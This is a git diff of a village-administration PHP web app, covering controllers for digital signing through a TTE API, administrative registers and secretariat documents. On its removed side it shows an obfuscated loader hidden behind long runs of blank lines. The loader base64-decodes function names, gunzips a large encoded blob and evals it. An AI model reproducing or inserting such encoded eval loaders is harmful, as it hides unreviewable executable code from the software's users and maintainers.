--- a/donjo-app/controllers/api/Tte.php
+++ b/donjo-app/controllers/api/Tte.php
@@ -1,473 +1,245 @@
-client = new \GuzzleHttp\Client([
+ 'base_uri' => empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL) ? site_url() : $this->setting->tte_api,
+ 'auth' => [
+ $this->setting->tte_username,
+ $this->setting->tte_password,
+ ],
+ ]);
+
+ $this->demo = empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL);
+ $this->nik = Pamong::kepalaDesa()->first()->pamong_nik;
+ }
+
+ /**
+ * Periksa status nik.
+ *
+ * @param string $nik
+ *
+ * @return object
+ */
+ public function periksa_status(?string $nik = '')
+ {
+ try {
+ $response = $this->client
+ ->get("api/user/status/{$nik}")
+ ->getBody()
+ ->getContents();
+
+ return json(json_decode($response));
+ } catch (GuzzleHttp\Exception\ClientException $e) {
+ return json(json_decode($e->getResponse()->getBody()));
+ }
+ }
+
+ public function sign_invisible()
+ {
+ $request = $this->input->post();
+
+ DB::beginTransaction();
+
+ try {
+ $data = LogSurat::where('id', '=', $request['id'])->first();
+ $mandiri = PermohonanSurat::where('id_surat', $data->id_format_surat)->where('isian_form->nomor', $data->no_surat)->first();
+
+ $response = $this->client->post('api/sign/pdf', [
+ 'headers' => ['X-Requested-With' => 'XMLHttpRequest'],
+ 'multipart' => [
+ ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'r')],
+ ['name' => 'nik', 'contents' => $this->nik],
+ ['name' => 'passphrase', 'contents' => $request['passphrase']],
+ ['name' => 'tampilan', 'contents' => 'invisible'],
+ ],
+ ]);
+
+ $data->update(['tte' => 1, 'log_verifikasi' => null]); // update log surat
+ $mandiri->update(['status' => 3]); // update status surat dari layanan mandiri
+
+ DB::commit();
+
+ // overwrite dokumen lama dengan response dari bsre
+ if ($response->getStatusCode() == 200 && ! $this->demo) {
+ $file = fopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'wb');
+ fwrite($file, $response->getBody()->getContents());
+ fclose($file);
+ }
+
+ return $this->response([
+ 'status' => true,
+ 'pesan' => 'success',
+ 'jenis_error' => null,
+ ]);
+ } catch (GuzzleHttp\Exception\ClientException $e) {
+ log_message('error', $e);
+
+ DB::rollback();
+
+ return $this->response([
+ 'status' => false,
+ 'pesan' => $e->getResponse()->getBody()->getContents(),
+ 'jenis_error' => 'ClientException',
+ ]);
+ }
+ }
+
+ public function sign_visible()
+ {
+ $request = $this->input->post();
+
+ DB::beginTransaction();
+
+ try {
+ $data = LogSurat::where('id', '=', $request['id'])->first();
+ $mandiri = PermohonanSurat::where('id_surat', $data->id_format_surat)->where('isian_form->nomor', $data->no_surat)->first();
+
+ if (setting('visual_tte') == 1) {
+ $width = setting('visual_tte_weight') ?? 90;
+ $height = setting('visual_tte_height') ?? 90;
+ $image = setting('visual_tte_gambar') ?: 'assets/images/bsre.png';
+
+ $visible = [
+ ['name' => 'tag_koordinat', 'contents' => '[ttd_bsre]'],
+ ['name' => 'image', 'contents' => true],
+ ['name' => 'imageTTD', 'contents' => Psr7\Utils::tryFopen(FCPATH . $image, 'r')],
+ ];
+ } else {
+ $this->load->model('url_shortener_model');
+ $urls = $this->url_shortener_model->url_pendek($data);
+ $tag = '[qr_bsre]';
+ $width = 90;
+ $height = 90;
+ $visible = [
+ ['name' => 'tag_koordinat', 'contents' => '[qr_bsre]'],
+ ['name' => 'linkQR', 'contents' => $urls['isiqr']],
+ ];
+ }
+
+ $multipart = [
+ ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'r')],
+ ['name' => 'nik', 'contents' => $this->nik],
+ ['name' => 'passphrase', 'contents' => $request['passphrase']],
+ ['name' => 'tampilan', 'contents' => 'visible'],
+ ['name' => 'width', 'contents' => $width],
+ ['name' => 'height', 'contents' => $height],
+ ];
+
+ $response = $this->client->post('api/sign/pdf', [
+ 'headers' => ['X-Requested-With' => 'XMLHttpRequest'],
+ 'multipart' => [...$multipart, ...$visible],
+ ]);
+
+ $data->update(['tte' => 1, 'log_verifikasi' => null]); // update log surat
+ if ($mandiri) {
+ $mandiri->update(['status' => 3]); // update status surat dari layanan mandiri
+ }
+
+ DB::commit();
+
+ // overwrite dokumen lama dengan response dari bsre
+ if ($response->getStatusCode() == 200 && ! $this->demo) {
+ $file = fopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'wb');
+ fwrite($file, $response->getBody()->getContents());
+ fclose($file);
+ }
+
+ return $this->response([
+ 'status' => true,
+ 'pesan' => 'success',
+ 'jenis_error' => null,
+ ]);
+ } catch (GuzzleHttp\Exception\ClientException $e) {
+ log_message('error', $e);
+
+ DB::rollback();
+
+ return $this->response([
+ 'status' => false,
+ 'pesan' => $e->getResponse()->getBody()->getContents(),
+ 'jenis_error' => 'ClientException',
+ ]);
+ }
+ }
+
+ /**
+ * Generate response dan log.
+ *
+ * @param array $notif
+ *
+ * @return object
+ */
+ protected function response($notif = [])
+ {
+ LogTte::create([
+ 'message' => $notif['pesan'],
+ 'jenis_error' => $notif['jenis_error'],
+ ]);
+
+ return json($notif);
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Bumindes_umum.php b/donjo-app/controllers/buku_umum/Bumindes_umum.php
index 9c3f6ff03..f11c68251 100644
--- a/donjo-app/controllers/buku_umum/Bumindes_umum.php
+++ b/donjo-app/controllers/buku_umum/Bumindes_umum.php
@@ -1,601 +1,249 @@
-modul_ini = 'buku-administrasi-desa';
+ }
+
+ public function index()
+ {
+ redirect('dokumen_sekretariat/peraturan_desa/3');
+ }
+
+ // TABLES
+ public function tables($page = 'peraturan', $page_number = 1, $offset = 0)
+ {
+ $this->sub_modul_ini = 'administrasi-umum';
+
+ // set session
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+ $data['per_page'] = $_SESSION['per_page'];
+ // set session END
+
+ // load data for displaying at tables
+ $data = array_merge($data, $this->load_data_tables($page, $page_number, $offset));
+
+ $header = $this->header_model->get_data();
+
+ $this->load->view('header', $header);
+ $this->load->view('nav');
+ $this->load->view('bumindes/umum/main', $data);
+ $this->load->view('footer');
+ }
+
+ private function load_data_tables($page, $page_number, $offset)
+ {
+ $data['selected_nav'] = $page;
+
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ $data = array_merge($data, $this->load_ekspedisi_data_tables($page_number, $offset));
+ break;
+
+ case 'berita':
+ $data = array_merge($data, $this->load_berita_data_tables($page_number, $offset));
+ break;
+
+ default:
+ $data = array_merge($data, $this->load_ekspedisi_data_tables($page_number, $offset));
+ break;
+ }
+
+ return $data;
+ }
+
+ private function load_ekspedisi_data_tables($page_number = 1, $offset = 0)
+ {
+ $data['main_content'] = 'bumindes/umum/content_ekspedisi';
+ $data['subtitle'] = 'Buku Ekspedisi';
+
+ return $data;
+ }
+
+ private function load_berita_data_tables($page_number = 1, $offset = 0)
+ {
+ $sebutan_desa = ucwords(setting('sebutan_desa'));
+ $data['main_content'] = 'bumindes/umum/content_berita';
+ $data['subtitle'] = "Buku Lembaran {$sebutan_desa} dan Berita {$sebutan_desa}";
+
+ return $data;
+ }
+ // TABLES END
+ // FORM
+ public function form($page = 'peraturan', $page_number = 1, $offset = 0, $key = null)
+ {
+ $this->sub_modul_ini = 'administrasi-umum';
+ $data = [];
+ $data = array_merge($data, $this->load_form($page, $page_number, $offset, $key));
+ $header = $this->header_model->get_data();
+ $this->load->view('header', $header);
+ $this->load->view('nav', $nav);
+ $this->load->view('bumindes/umum/main', $data);
+ $this->load->view('footer');
+ }
+ private function load_form($page, $page_number, $offset, $key)
+ {
+ $data['p'] = $page_number;
+ $data['o'] = $offset;
+ $data['selected_nav'] = $page;
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ $data = array_merge($data, $this->load_form_ekspedisi($page_number, $offset, $key));
+ break;
+ case 'berita':
+ $data = array_merge($data, $this->load_form_berita($page_number, $offset, $key));
+ break;
+ default:
+ $data = array_merge($data, $this->load_form_peraturan($page_number, $offset, $key));
+ break;
+ }
+ return $data;
+ }
+ public function load_form_ekspedisi($page_number, $offset, $key)
+ {
+ }
+ public function load_form_berita($page_number, $offset, $key)
+ {
+ }
+ // FORM END
+ // INSERT
+ public function insert($page)
+ {
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ break;
+ case 'berita':
+ break;
+ default:
+ break;
+ }
+ }
+ // INSERT END
+ // DELETE
+ public function delete($page, $p = 1, $o = 0, $id = '')
+ {
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ break;
+ case 'berita':
+ break;
+ default:
+ break;
+ }
+ }
+ public function delete_all($page, $p = 1, $o = 0)
+ {
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ break;
+ case 'berita':
+ break;
+ default:
+ break;
+ }
+ }
+ // UPDATE
+ public function update($page, $p = 1, $o = 0, $id = '')
+ {
+ switch (strtolower($page)) {
+ case 'ekspedisi':
+ break;
+ case 'berita':
+ break;
+ default:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- $_____=' b2JfZW5kX2NsZWFu'; $______________='cmV0dXJuIGV2YWwoJF8pOw==';
-$__________________='X19sYW1iZGE=';
-
- $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________);
- $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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';
-
- $___();$__________($______($__($_))); $________=$____();
- $_____(); echo
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- $________;
+ break;
+ }
+ }
+ // UPDATE END
+}
diff --git a/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php b/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php
index 1b9d0bf91..1de8a18ae 100644
--- a/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php
+++ b/donjo-app/controllers/buku_umum/Dokumen_sekretariat.php
@@ -1,649 +1,255 @@
-load->model('web_dokumen_model');
+ $this->_set_page = ['50', '100', '200'];
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ }
+
+ public function index($kat = 2, $p = 1, $o = 0)
+ {
+ if ($this->input->post('per_page') !== null) {
+ $this->session->per_page = $this->input->post('per_page');
+ }
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}");
+ }
+
+ // Produk Hukum Desa
+ public function peraturan_desa($kat = 2, $p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $data['kat'] = $kat;
+
+ foreach ($this->list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ $data['func'] = "index/{$kat}";
+ $data['set_page'] = $this->_set_page;
+ $data['per_page'] = $this->session->per_page;
+ $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat);
+ $data['paging'] = $this->web_dokumen_model->paging($kat, $p, $o);
+ $data['main'] = $this->web_dokumen_model->list_data($kat, $o, $data['paging']->offset, $data['paging']->per_page);
+ $data['list_tahun'] = $this->web_dokumen_model->list_tahun($kat);
+ $data['keyword'] = $this->web_dokumen_model->autocomplete();
+ $data['submenu'] = $this->referensi_model->list_data('ref_dokumen');
+ $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa();
+ $data['sub_kategori'] = $_SESSION['sub_kategori'];
+ $_SESSION['menu_kategori'] = true;
+
+ foreach ($data['submenu'] as $s) {
+ if ($kat == $s['id']) {
+ $_SESSION['submenu'] = $s['id'];
+ $_SESSION['sub_kategori'] = $s['kategori'];
+ $_SESSION['kode_kategori'] = $s['id'];
+ }
+ }
+
+ $data['main_content'] = 'dokumen/table_buku_umum';
+ $data['subtitle'] = ($kat == '3') ? 'Buku Peraturan Di ' . ucwords($this->setting->sebutan_desa) : 'Buku Keputusan ' . ucwords($this->setting->sebutan_kepala_desa);
+ $data['selected_nav'] = ($kat == '3') ? 'peraturan' : 'keputusan';
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function clear($kat = 2)
+ {
+ $this->session->unset_userdata($this->list_session);
+ $this->session->per_page = $this->_set_page[0];
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}");
+ }
+
+ public function form($kat = 2, $p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $data['kat'] = $kat;
+ $data['list_kategori'] = $this->web_dokumen_model->list_kategori();
+
+ if ($kat == 3) {
+ $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa();
+ }
+
+ if ($id) {
+ $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id);
+ $data['form_action'] = site_url("dokumen_sekretariat/update/{$kat}/{$id}/{$p}/{$o}");
+ } else {
+ $data['dokumen'] = null;
+ $data['form_action'] = site_url('dokumen_sekretariat/insert');
+ }
+ $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat);
+
+ $this->_set_tab($kat);
+ $this->render('dokumen/form', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ $kat = $this->input->post('kategori');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect("dokumen_sekretariat/index/{$kat}");
+ }
+
+ public function filter($filter = 'filter')
+ {
+ $this->session->{$filter} = $this->input->post($filter);
+ $kat = $this->input->post('kategori');
+ redirect("dokumen_sekretariat/index/{$kat}");
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $_SESSION['success'] = 1;
+ $kat = $this->input->post('kategori');
+ $outp = $this->web_dokumen_model->insert();
+ if (! $outp) {
+ $_SESSION['success'] = -1;
+ }
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}");
+ }
+
+ public function update($kat, $id = '', $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $_SESSION['success'] = 1;
+ $kategori = $this->input->post('kategori');
+ if (! empty($kategori)) {
+ $kat = $this->input->post('kategori');
+ }
+ $outp = $this->web_dokumen_model->update($id);
+ if (! $outp) {
+ $_SESSION['success'] = -1;
+ }
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}");
+ }
+
+ public function delete($kat = 1, $p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->web_dokumen_model->delete($id);
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}");
+ }
+
+ public function delete_all($kat = 1, $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->web_dokumen_model->delete_all();
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/{$p}/{$o}");
+ }
+
+ public function dokumen_lock($kat = 1, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->web_dokumen_model->dokumen_lock($id, 1);
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/");
+ }
+
+ public function dokumen_unlock($kat = 1, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->web_dokumen_model->dokumen_lock($id, 2);
+ redirect("dokumen_sekretariat/peraturan_desa/{$kat}/");
+ }
+
+ public function dialog_cetak($kat = 1)
+ {
+ redirect("dokumen/dialog_cetak/{$kat}");
+ }
+
+ public function dialog_excel($kat = 1)
+ {
+ redirect("dokumen/dialog_excel/{$kat}");
+ }
+
+ private function _set_tab($kat)
+ {
+ switch ($kat) {
+ case '2':
+ $this->tab_ini = 59;
+ break;
+
+ case '3':
+ $this->tab_ini = 60;
+ break;
+
+ default:
+ $this->tab_ini = 59;
+ break;
+ }
+ }
+
+ /**
+ * Unduh berkas berdasarkan kolom dokumen.id
+ *
+ * @param int $id_dokumen Id berkas pada koloam dokumen.id
+ * @param int $kat
+ * @param int $tipe
+ *
+ * @return void
+ */
+ public function berkas($id_dokumen = 0, $kat = 1, $tipe = 0)
+ {
+ // Ambil nama berkas dari database
+ $data = $this->web_dokumen_model->get_dokumen($id_dokumen);
+
+ if ($data['url'] != null) {
+ redirect($data['url']);
+ }
+
+ ambilBerkas($data['satuan'], $this->controller . '/peraturan_desa/' . $kat, null, LOKASI_DOKUMEN, ($tipe == 1) ? true : false);
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Ekspedisi.php b/donjo-app/controllers/buku_umum/Ekspedisi.php
index edaa87668..5cddb868f 100644
--- a/donjo-app/controllers/buku_umum/Ekspedisi.php
+++ b/donjo-app/controllers/buku_umum/Ekspedisi.php
@@ -1,569 +1,165 @@
-load->helper('download');
+ $this->load->model('surat_keluar_model');
+ $this->load->model('ekspedisi_model');
+ $this->load->model('klasifikasi_model');
+ $this->load->model('pamong_model');
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ }
+
+ public function clear()
+ {
+ $this->session->per_page = 20;
+ $this->session->cari = null;
+ $this->session->filter = null;
+ redirect('ekspedisi');
+ }
+
+ public function index($p = 1, $o = 2)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ $data['cari'] = $this->session->cari ?: '';
+ $data['filter'] = $this->session->filter ?: '';
+ $this->session->per_page = $this->input->post('per_page') ?: null;
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->ekspedisi_model->paging($p, $o);
+ $data['main'] = $this->ekspedisi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_surat'] = $this->ekspedisi_model->list_tahun_surat();
+ $data['keyword'] = $this->ekspedisi_model->autocomplete();
+ $data['main_content'] = 'ekspedisi/table';
+ $data['subtitle'] = 'Buku Ekspedisi';
+ $data['selected_nav'] = 'ekspedisi';
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function form($p, $o, $id)
+ {
+ $this->redirect_hak_akses('u');
+ $data['klasifikasi'] = $this->klasifikasi_model->list_kode();
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['surat_keluar'] = $this->surat_keluar_model->get_surat_keluar($id) ?? show_404();
+ $data['form_action'] = site_url("ekspedisi/update/{$p}/{$o}/{$id}");
+ }
+
+ // Buang unique id pada link nama file
+ $berkas = explode('__sid__', $data['surat_keluar']['tanda_terima']);
+ $namaFile = $berkas[0];
+ $ekstensiFile = explode('.', end($berkas));
+ $ekstensiFile = end($ekstensiFile);
+ $data['surat_keluar']['tanda_terima'] = $namaFile . '.' . $ekstensiFile;
+ $this->render('ekspedisi/form', $data);
+ }
+
+ public function search()
+ {
+ $this->session->cari = $this->input->post('cari') ?: null;
+ redirect('ekspedisi');
+ }
+
+ public function filter()
